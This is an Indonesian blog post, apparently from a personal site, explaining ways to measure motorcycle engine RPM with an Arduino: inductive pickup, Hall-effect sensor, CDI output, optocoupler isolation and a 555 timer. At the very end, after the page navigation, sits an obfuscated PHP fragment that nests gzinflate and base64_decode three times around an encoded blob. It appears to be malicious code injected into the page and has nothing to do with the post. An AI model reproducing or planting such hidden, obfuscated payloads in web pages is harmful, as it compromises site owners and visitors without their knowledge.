Delicious

Archives

Categories

Measuring RPM with Arduino

  ozzie / 06/11/2012


basicly.. ada beberapa metode/cara menghitung RPM (Revolution per Minute)..
[mungkin dalam case ini lebih mengarah ke 2stroke Kawasaki Ninja R.]:

1. Dengan metode Electromagnetic Induction.. yg biasa aplikasikan Timing Light.
2. Dengan metode Hall Effect, yg biasa di pakai pada pulser magnet.
3. Dan mungkin beberapa CDI (Capacitor Discharge Ignition) telah memiliki dedicated cable untuk keperluan RPM pada speedometer. cmiiw :D.. so beruntunglah yg telah memiliki CDI dgn output RPM… :)) :))

dengan beberapa metode tadi, rangkaian MicroController pun harus terisolasi / terpisah dari kelistrikan yg dalam hal ini Motor yang umumnya bertegangan > 12V, untuk itu perlu di tambahkan Opto-Coupler / Opto-Isolator untuk memisahkan keduanya, selain itu untuk supply power MicroController yg memiliki tegangan 5V sampai 9V perlu ditambahkan Voltage Regulator.
dan untuk menstabilkan / merapihkan signal output dari masing-masing metode / sensor; perlu dilengkapi dengan IC 555 yg umum digunakan untuk Timer..

Coil Ignition (Inductive PickUp / Clamp)


Pulse (Hall Effect Sensor / Position Sensor)

Special Thanks to: Dhidy D2M & all Crew D2M-HasilKebon atas masukan & motivasinya.. ;)

To Be Continue.. schema & code arduinonya lanjut besok.. :D :D


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>